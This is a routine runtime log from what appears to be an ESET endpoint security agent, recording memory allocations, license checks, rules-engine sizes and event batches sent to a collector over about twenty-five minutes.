2026-03-04 19:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2028 KB; ProcessInfo: 1899 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; BaseEvent: 252 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 67 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; rules::ProcessConditionsCache: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37445 KB;
2026-03-04 19:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2261 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; BaseEvent: 429 KB; rules::ProcessConditionsCache: 401 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 113 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38411 KB;
2026-03-04 19:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2480 KB; ModuleMetadata: 2028 KB; rules::AncestorEvaluations: 552 KB; BaseEvent: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; TcpIpConnectionsManager: 468 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; rules::ProcessConditionsCache: 245 KB; BatchSerializer::EventsQueueTag: 142 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38527 KB;
2026-03-04 19:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 19:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2480 KB; ModuleMetadata: 2028 KB; rules::AncestorEvaluations: 552 KB; BaseEvent: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 323 KB; TcpIpConnectionsManager: 309 KB; CacheEntry: 297 KB; rules::ProcessConditionsCache: 245 KB; BatchSerializer::EventsQueueTag: 143 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38372 KB;
2026-03-04 19:43:59 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 19:43:59 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 19:43:59 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 19:43:59 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 19:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2480 KB; ModuleMetadata: 2028 KB; rules::AncestorEvaluations: 552 KB; BaseEvent: 544 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; rules::ProcessConditionsCache: 245 KB; TcpIpConnectionsManager: 156 KB; BatchSerializer::EventsQueueTag: 144 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38222 KB;
2026-03-04 19:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2480 KB; ModuleMetadata: 2028 KB; rules::AncestorEvaluations: 552 KB; BaseEvent: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; rules::ProcessConditionsCache: 245 KB; BatchSerializer::EventsQueueTag: 144 KB; cloudutils::CloudData: 141 KB; TcpIpConnectionsManager: 66 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38133 KB;
2026-03-04 19:46:31 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 19:39:26, To:, 2026-03-04 19:46:31, Duration (s):, 425, Events Per Second:, 7.047, Events:, 2999, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 2480, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 518, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 336684
2026-03-04 19:46:32 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s193ms.
2026-03-04 19:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2028 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; rules::ProcessConditionsCache: 245 KB; ProcessInfo: 207 KB; cloudutils::CloudData: 141 KB; TcpIpConnectionsManager: 66 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchSerializer::EventsQueueTag: 0 KB; BaseEvent: 0 KB; BatchStringTag: 0 KB; Total: 35160 KB;
2026-03-04 19:47:39 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 19:42:33, To:, 2026-03-04 19:47:39, Duration (s):, 306, Events Per Second:, 16.350, Events:, 5014, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 4140, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 873, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 557758
2026-03-04 19:47:41 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s146ms.
2026-03-04 19:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2153 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 883 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; ModuleInfoCache: 323 KB; rules::ProcessConditionsCache: 317 KB; CacheEntry: 298 KB; cloudutils::CloudData: 141 KB; BaseEvent: 43 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 11 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 38046 KB;
2026-03-04 19:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 19:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2538 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 1064 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; rules::ProcessConditionsCache: 328 KB; ModuleInfoCache: 323 KB; CacheEntry: 298 KB; BaseEvent: 222 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 58 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 38845 KB;
2026-03-04 19:48:59 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 19:48:59 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 19:48:59 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 19:48:59 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 19:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2897 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 1215 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BaseEvent: 398 KB; ModuleInfoCache: 323 KB; CacheEntry: 298 KB; rules::ProcessConditionsCache: 292 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 104 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 39546 KB;
2026-03-04 19:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 3287 KB; ModuleMetadata: 2028 KB; BaseEvent: 581 KB; TcpIpConnectionsManager: 575 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; ModuleInfoCache: 323 KB; rules::ProcessConditionsCache: 300 KB; CacheEntry: 298 KB; BatchSerializer::EventsQueueTag: 154 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39558 KB;
2026-03-04 19:51:41 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 19:47:40, To:, 2026-03-04 19:51:41, Duration (s):, 241, Events Per Second:, 17.322, Events:, 4180, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3481, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 698, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 465440
2026-03-04 19:51:42 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s395ms.
2026-03-04 19:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2028 KB; ProcessInfo: 1457 KB; TcpIpConnectionsManager: 588 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; rules::ProcessConditionsCache: 331 KB; ModuleInfoCache: 323 KB; CacheEntry: 298 KB; cloudutils::CloudData: 141 KB; BaseEvent: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37079 KB;
2026-03-04 19:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2028 KB; ProcessInfo: 1824 KB; TcpIpConnectionsManager: 586 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 323 KB; rules::ProcessConditionsCache: 317 KB; CacheEntry: 298 KB; BaseEvent: 219 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 57 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 37646 KB;
2026-03-04 19:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 19:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2184 KB; ModuleMetadata: 2029 KB; TcpIpConnectionsManager: 563 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; BaseEvent: 399 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 296 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 104 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38192 KB;
2026-03-04 19:53:59 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 19:53:59 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 19:53:59 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 19:53:59 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 19:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2542 KB; ModuleMetadata: 2029 KB; BaseEvent: 575 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 278 KB; BatchSerializer::EventsQueueTag: 151 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38732 KB;
2026-03-04 19:55:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 19:51:40, To:, 2026-03-04 19:55:49, Duration (s):, 249, Events Per Second:, 16.382, Events:, 4085, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3369, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 713, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455609
2026-03-04 19:55:50 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s358ms.
2026-03-04 19:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2029 KB; ProcessInfo: 1336 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 269 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; BatchSerializer::EventsQueueTag: 3 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 36790 KB;
2026-03-04 19:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2029 KB; ProcessInfo: 1699 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 521 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 255 KB; BaseEvent: 191 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 49 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37362 KB;
2026-03-04 19:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2057 KB; ModuleMetadata: 2029 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; BaseEvent: 367 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 237 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 96 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 37921 KB;
2026-03-04 19:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 19:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2419 KB; ModuleMetadata: 2029 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 541 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 218 KB; BatchSerializer::EventsQueueTag: 142 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38481 KB;
2026-03-04 19:59:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 19:59:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 19:59:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 19:59:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 19:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2799 KB; ModuleMetadata: 2029 KB; BaseEvent: 725 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 238 KB; BatchSerializer::EventsQueueTag: 191 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39136 KB;
2026-03-04 20:00:01 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 19:55:48, To:, 2026-03-04 20:00:01, Duration (s):, 253, Events Per Second:, 16.257, Events:, 4122, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3406, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 715, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457678
2026-03-04 20:00:04 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s311ms.
2026-03-04 20:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2029 KB; ProcessInfo: 1655 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 540 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 218 KB; BaseEvent: 168 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 44 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37267 KB;
2026-03-04 20:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2029 KB; ProcessInfo: 2019 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; BaseEvent: 344 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 215 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 91 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37856 KB;
2026-03-04 20:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2380 KB; ModuleMetadata: 2029 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 527 KB; BaseEvent: 525 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 193 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 138 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38407 KB;
2026-03-04 20:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 20:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2740 KB; ModuleMetadata: 2029 KB; BaseEvent: 703 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 184 KB; rules::ProcessConditionsCache: 177 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38981 KB;
2026-03-04 20:04:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 20:04:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 20:04:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 20:04:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
